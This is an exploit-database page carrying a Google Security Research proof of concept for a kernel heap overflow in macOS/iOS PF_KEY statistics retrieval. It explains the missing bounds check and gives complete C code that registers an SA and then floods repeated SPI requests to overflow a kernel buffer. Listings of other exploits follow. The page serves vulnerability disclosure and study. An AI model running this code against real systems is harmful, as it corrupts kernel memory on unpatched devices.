Menu

Search for hundreds of thousands of exploits

"macOS < 10.14.3 / iOS < 12.1.3 - Kernel Heap Overflow in PF_KEY due to Lack of Bounds Checking when Retrieving Statistics"

Author

Exploit author

"Google Security Research"

Platform

Exploit platform

multiple

Release date

Exploit published date

2019-01-31

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
/*
Inspired by Ned Williamsons's fuzzer I took a look at the netkey code.

key_getsastat handles SADB_GETSASTAT messages:

It allocates a buffer based on the number of SAs there currently are:

  bufsize = (ipsec_sav_count + 1) * sizeof(*sa_stats_sav);
    
  KMALLOC_WAIT(sa_stats_sav, __typeof__(sa_stats_sav), bufsize);

It the retrieves the list of SPIs we are querying for, and the length of that list:

  sa_stats_arg = (__typeof__(sa_stats_arg))(void *)mhp->ext[SADB_EXT_SASTAT];

  arg_count = sa_stats_arg->sadb_sastat_list_len;

  // exit early if there are no requested SAs
  if (arg_count == 0) {
    printf("%s: No SAs requested.\n", __FUNCTION__);
    error = ENOENT;
    goto end;
  }
  res_count = 0;

It passes those, and the allocated buffer, to key_getsastatbyspi:

  if (key_getsastatbyspi((struct sastat *)(sa_stats_arg + 1),
                         arg_count,
                         sa_stats_sav,
                         &res_count)) {

The is immediately suspicious because we're passing the sa_stats_sav buffer in, but not its length...

Looking at key_getsastatbyspi:

  static int
  key_getsastatbyspi (struct sastat *stat_arg,
                      u_int32_t      max_stat_arg,
                      struct sastat *stat_res,
                      u_int32_t     *max_stat_res)
  {
    int cur, found = 0;

    if (stat_arg == NULL ||
        stat_res == NULL ||
        max_stat_res == NULL) {
      return -1;
    }

    for (cur = 0; cur < max_stat_arg; cur++) {
      if (key_getsastatbyspi_one(stat_arg[cur].spi,
                                 &stat_res[found]) == 0) {
        found++;
      }
    }
    *max_stat_res = found;

    if (found) {
      return 0;
    }
    return -1;
  }

Indeed, each time a spi match is found we increment found and can go past the end of the stat_res buffer.

Triggering this requires you to load a valid SA with a known SPI (here 0x41414141) then send a SADB_GETSASTAT
containing multiple requests for that same, valid SPI.

Tested on MacOS 10.14.2 (18C54)
*/

// @i41nbeer

#if 0
iOS/MacOS kernel heap overflow in PF_KEY due to lack of bounds checking when retrieving statistics

Inspired by Ned Williamsons's fuzzer I took a look at the netkey code.

key_getsastat handles SADB_GETSASTAT messages:

It allocates a buffer based on the number of SAs there currently are:

  bufsize = (ipsec_sav_count + 1) * sizeof(*sa_stats_sav);
    
  KMALLOC_WAIT(sa_stats_sav, __typeof__(sa_stats_sav), bufsize);

It the retrieves the list of SPIs we are querying for, and the length of that list:

  sa_stats_arg = (__typeof__(sa_stats_arg))(void *)mhp->ext[SADB_EXT_SASTAT];

  arg_count = sa_stats_arg->sadb_sastat_list_len;

  // exit early if there are no requested SAs
  if (arg_count == 0) {
    printf("%s: No SAs requested.\n", __FUNCTION__);
    error = ENOENT;
    goto end;
  }
  res_count = 0;

It passes those, and the allocated buffer, to key_getsastatbyspi:

  if (key_getsastatbyspi((struct sastat *)(sa_stats_arg + 1),
                         arg_count,
                         sa_stats_sav,
                         &res_count)) {

The is immediately suspicious because we're passing the sa_stats_sav buffer in, but not its length...

Looking at key_getsastatbyspi:

  static int
  key_getsastatbyspi (struct sastat *stat_arg,
                      u_int32_t      max_stat_arg,
                      struct sastat *stat_res,
                      u_int32_t     *max_stat_res)
  {
    int cur, found = 0;

    if (stat_arg == NULL ||
        stat_res == NULL ||
        max_stat_res == NULL) {
      return -1;
    }

    for (cur = 0; cur < max_stat_arg; cur++) {
      if (key_getsastatbyspi_one(stat_arg[cur].spi,
                                 &stat_res[found]) == 0) {
        found++;
      }
    }
    *max_stat_res = found;

    if (found) {
      return 0;
    }
    return -1;
  }

Indeed, each time a spi match is found we increment found and can go past the end of the stat_res buffer.

Triggering this requires you to load a valid SA with a known SPI (here 0x41414141) then send a SADB_GETSASTAT
containing multiple requests for that same, valid SPI.

Tested on MacOS 10.14.2 (18C54)
#endif

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/pfkeyv2.h>

#if 0
struct sadb_msg {
  u_int8_t sadb_msg_version;
  u_int8_t sadb_msg_type;
  u_int8_t sadb_msg_errno;
  u_int8_t sadb_msg_satype;
  u_int16_t sadb_msg_len;         // in 8-byte units
  u_int16_t sadb_msg_reserved;
  u_int32_t sadb_msg_seq;
  u_int32_t sadb_msg_pid;
};

// extenstion header

struct sadb_ext {
  u_int16_t sadb_ext_len;        // 8-byte units
  u_int16_t sadb_ext_type;
};

// SADB_EXT_SA

struct sadb_sa {
  u_int16_t sadb_sa_len;
  u_int16_t sadb_sa_exttype;
  u_int32_t sadb_sa_spi;
  u_int8_t sadb_sa_replay;
  u_int8_t sadb_sa_state;
  u_int8_t sadb_sa_auth;
  u_int8_t sadb_sa_encrypt;
  u_int32_t sadb_sa_flags;
};

// SADB_EXT_ADDRESS_SRC/DST
// is this variable sized?

struct sadb_address {
  u_int16_t sadb_address_len;
  u_int16_t sadb_address_exttype;
  u_int8_t sadb_address_proto;
  u_int8_t sadb_address_prefixlen;
  u_int16_t sadb_address_reserved;
};

// SADB_EXT_KEY_AUTH header

struct sadb_key {
  u_int16_t sadb_key_len;       
  u_int16_t sadb_key_exttype;
  u_int16_t sadb_key_bits;      // >> 3 -> bzero
  u_int16_t sadb_key_reserved;
};

// SADB_EXT_SASTAT

struct sadb_sastat {
        u_int16_t            sadb_sastat_len;
        u_int16_t            sadb_sastat_exttype;
        u_int32_t            sadb_sastat_dir;
        u_int32_t            sadb_sastat_reserved;
        u_int32_t            sadb_sastat_list_len;
        /* list of struct sastat comes after */
} __attribute__ ((aligned(8)));

struct sastat {
        u_int32_t            spi;               /* SPI Value, network byte order */
        u_int32_t            created;           /* for lifetime */
        struct sadb_lifetime lft_c;             /* CURRENT lifetime. */
}; // no need to align

#endif


struct my_msg {
  struct sadb_msg hdr;

  // required options
  struct sadb_sa sa;  // SADB_EXT_SA

  struct sadb_address address_src; // SADB_EXT_ADDRESS_SRC
  struct sockaddr_in sockaddr_src; // 0x10 bytes
  struct sadb_address address_dst; // SADB_EXT_ADDRESS_DST
  struct sockaddr_in sockaddr_dst; // 0x10 bytes

  struct sadb_key key;
  char key_material[128/8];
};

#define N_LIST_ENTRIES 32
struct stat_msg {
  struct sadb_msg hdr;
  struct sadb_session_id sid;
  struct sadb_sastat stat;
  struct sastat list[N_LIST_ENTRIES];
};

int main() {
  // get a PF_KEY socket:
  int fd = socket(PF_KEY, SOCK_RAW, PF_KEY_V2);
  if (fd == -1) {
    perror("failed to get PF_KEY socket, got privs?");
    return 0;
  }

  printf("got PF_KEY socket: %d\n", fd);

  struct my_msg* msg = malloc(sizeof(struct my_msg));
  memset(msg, 0, sizeof(struct my_msg));

  msg->hdr.sadb_msg_version = PF_KEY_V2;
  msg->hdr.sadb_msg_type = SADB_ADD;

  msg->hdr.sadb_msg_satype = SADB_SATYPE_AH;
  
  msg->hdr.sadb_msg_len = sizeof(struct my_msg) >> 3;
  msg->hdr.sadb_msg_pid = getpid();

  // SADB_EXT_SA
  msg->sa.sadb_sa_len = sizeof(msg->sa) >> 3;
  msg->sa.sadb_sa_exttype = SADB_EXT_SA;

  // we need to fill in the fields correctly as we need at least one valid key 
  msg->sa.sadb_sa_spi = 0x41414141;

  msg->sa.sadb_sa_auth = SADB_AALG_MD5HMAC; // sav->alg_auth, which alg
  // -> 128 bit key size

  // SADB_EXT_ADDRESS_SRC
  msg->address_src.sadb_address_len = (sizeof(msg->address_src) + sizeof(msg->sockaddr_src)) >> 3;
  msg->address_src.sadb_address_exttype = SADB_EXT_ADDRESS_SRC;

  msg->sockaddr_src.sin_len = 0x10;
  msg->sockaddr_src.sin_family = AF_INET;
  msg->sockaddr_src.sin_port = 4141;
  inet_pton(AF_INET, "10.10.10.10", &msg->sockaddr_src.sin_addr);


  // SADB_EXT_ADDRESS_DST
  msg->address_dst.sadb_address_len = (sizeof(msg->address_dst) + sizeof(msg->sockaddr_dst)) >> 3;
  msg->address_dst.sadb_address_exttype = SADB_EXT_ADDRESS_DST;

  msg->sockaddr_dst.sin_len = 0x10;
  msg->sockaddr_dst.sin_family = AF_INET;
  msg->sockaddr_dst.sin_port = 4242;
  inet_pton(AF_INET, "10.10.10.10", &msg->sockaddr_dst.sin_addr);

  msg->key.sadb_key_exttype = SADB_EXT_KEY_AUTH;
  msg->key.sadb_key_len = (sizeof(struct sadb_key) + sizeof(msg->key_material)) >> 3;
  msg->key.sadb_key_bits = 128;

  size_t amount_to_send = msg->hdr.sadb_msg_len << 3;
  printf("trying to write %zd bytes\n", amount_to_send);
  ssize_t written = write(fd, msg, amount_to_send);
  printf("written: %zd\n", written);


  
  struct stat_msg * smsg = malloc(sizeof(struct stat_msg));
  memset(smsg, 0, sizeof(struct stat_msg));

  smsg->hdr.sadb_msg_version = PF_KEY_V2;
  smsg->hdr.sadb_msg_type = SADB_GETSASTAT;

  smsg->hdr.sadb_msg_satype = SADB_SATYPE_AH;
  
  smsg->hdr.sadb_msg_len = sizeof(struct stat_msg) >> 3;
  smsg->hdr.sadb_msg_pid = getpid();

  // SADB_EXT_SESSION_ID
  smsg->sid.sadb_session_id_len = sizeof(struct sadb_session_id) >> 3;
  smsg->sid.sadb_session_id_exttype = SADB_EXT_SESSION_ID;

  // SADB_EXT_SASTAT
  smsg->stat.sadb_sastat_len = (sizeof(struct sadb_sastat) + sizeof(smsg->list)) >> 3;
  smsg->stat.sadb_sastat_exttype = SADB_EXT_SASTAT;

  smsg->stat.sadb_sastat_list_len = N_LIST_ENTRIES;

  for (int i = 0; i < N_LIST_ENTRIES; i++) {
    smsg->list[i].spi = 0x41414141;
  }


  amount_to_send = smsg->hdr.sadb_msg_len << 3;
  printf("trying to write %zd bytes\n", amount_to_send);
  written = write(fd, smsg, amount_to_send);
  printf("written: %zd\n", written);




  return 0;
}
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "Expense Management System - 'description' Stored Cross Site Scripting" webapps multiple "Nikhil Kumar"
2020-12-02 "Bakeshop Online Ordering System 1.0 - 'Owner' Persistent Cross-site scripting" webapps multiple "Parshwa Bhavsar"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "ILIAS Learning Management System 4.3 - SSRF" webapps multiple Dot
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Under Construction Page with CPanel 1.0 - SQL injection" webapps multiple "Mayur Parmar"
Release Date Title Type Platform Author
2020-02-10 "iOS/macOS - Out-of-Bounds Timestamp Write in IOAccelCommandQueue2::processSegmentKernelCommand()" dos multiple "Google Security Research"
2020-02-10 "usersctp - Out-of-Bounds Reads in sctp_load_addresses_from_init" dos linux "Google Security Research"
2020-01-28 "macOS/iOS ImageIO - Heap Corruption when Processing Malformed TIFF Image" dos multiple "Google Security Research"
2020-01-14 "WeChat - Memory Corruption in CAudioJBM::InputAudioFrameToJBM" dos android "Google Security Research"
2020-01-14 "Android - ashmem Readonly Bypasses via remap_file_pages() and ASHMEM_UNPIN" dos android "Google Security Research"
2019-12-18 "macOS 10.14.6 (18G87) - Kernel Use-After-Free due to Race Condition in wait_for_namespace_event()" dos macos "Google Security Research"
2019-12-16 "Linux 5.3 - Privilege Escalation via io_uring Offload of sendmsg() onto Kernel Thread with Kernel Creds" local linux "Google Security Research"
2019-12-11 "Adobe Acrobat Reader DC - Heap-Based Memory Corruption due to Malformed TTF Font" dos windows "Google Security Research"
2019-11-22 "Internet Explorer - Use-After-Free in JScript Arguments During toJSON Callback" dos windows "Google Security Research"
2019-11-22 "macOS 10.14.6 - root->kernel Privilege Escalation via update_dyld_shared_cache" local macos "Google Security Research"
2019-11-20 "Ubuntu 19.10 - Refcount Underflow and Type Confusion in shiftfs" dos linux "Google Security Research"
2019-11-20 "iOS 12.4 - Sandbox Escape due to Integer Overflow in mediaserverd" dos ios "Google Security Research"
2019-11-20 "Ubuntu 19.10 - ubuntu-aufs-modified mmap_region() Breaks Refcounting in overlayfs/shiftfs Error Path" dos linux "Google Security Research"
2019-11-11 "Adobe Acrobat Reader DC for Windows - Use of Uninitialized Pointer due to Malformed OTF Font (CFF Table)" dos windows "Google Security Research"
2019-11-11 "Adobe Acrobat Reader DC for Windows - Use of Uninitialized Pointer due to Malformed JBIG2Globals Stream" dos windows "Google Security Research"
2019-11-11 "iMessage - Decoding NSSharedKeyDictionary can read ObjC Object at Attacker Controlled Address" dos multiple "Google Security Research"
2019-11-05 "macOS XNU - Missing Locking in checkdirs_callback() Enables Race with fchdir_common()" dos macos "Google Security Research"
2019-11-05 "WebKit - Universal XSS in JSObject::putInlineSlow and JSValue::putToPrimitive" dos multiple "Google Security Research"
2019-11-05 "JavaScriptCore - Type Confusion During Bailout when Reconstructing Arguments Objects" dos multiple "Google Security Research"
2019-10-30 "JavaScriptCore - GetterSetter Type Confusion During DFG Compilation" dos multiple "Google Security Research"
2019-10-28 "WebKit - Universal XSS in HTMLFrameElementBase::isURLAllowed" dos multiple "Google Security Research"
2019-10-21 "Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow due to Malformed JP2 Stream (2)" dos windows "Google Security Research"
2019-10-10 "Windows Kernel - Out-of-Bounds Read in CI!CipFixImageType While Parsing Malformed PE File" dos windows "Google Security Research"
2019-10-10 "Windows Kernel - win32k.sys TTF Font Processing Pool Corruption in win32k!ulClearTypeFilter" dos windows "Google Security Research"
2019-10-10 "Windows Kernel - Out-of-Bounds Read in nt!MiParseImageLoadConfig While Parsing Malformed PE File" dos windows "Google Security Research"
2019-10-10 "Windows Kernel - Out-of-Bounds Read in nt!MiRelocateImage While Parsing Malformed PE File" dos windows "Google Security Research"
2019-10-10 "Windows Kernel - Out-of-Bounds Read in CI!HashKComputeFirstPageHash While Parsing Malformed PE File" dos windows "Google Security Research"
2019-10-10 "Windows Kernel - NULL Pointer Dereference in nt!MiOffsetToProtos While Parsing Malformed PE File" dos windows "Google Security Research"
2019-10-09 "XNU - Remote Double-Free via Data Race in IPComp Input Path" dos macos "Google Security Research"
2019-10-04 "Android - Binder Driver Use-After-Free" local android "Google Security Research"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.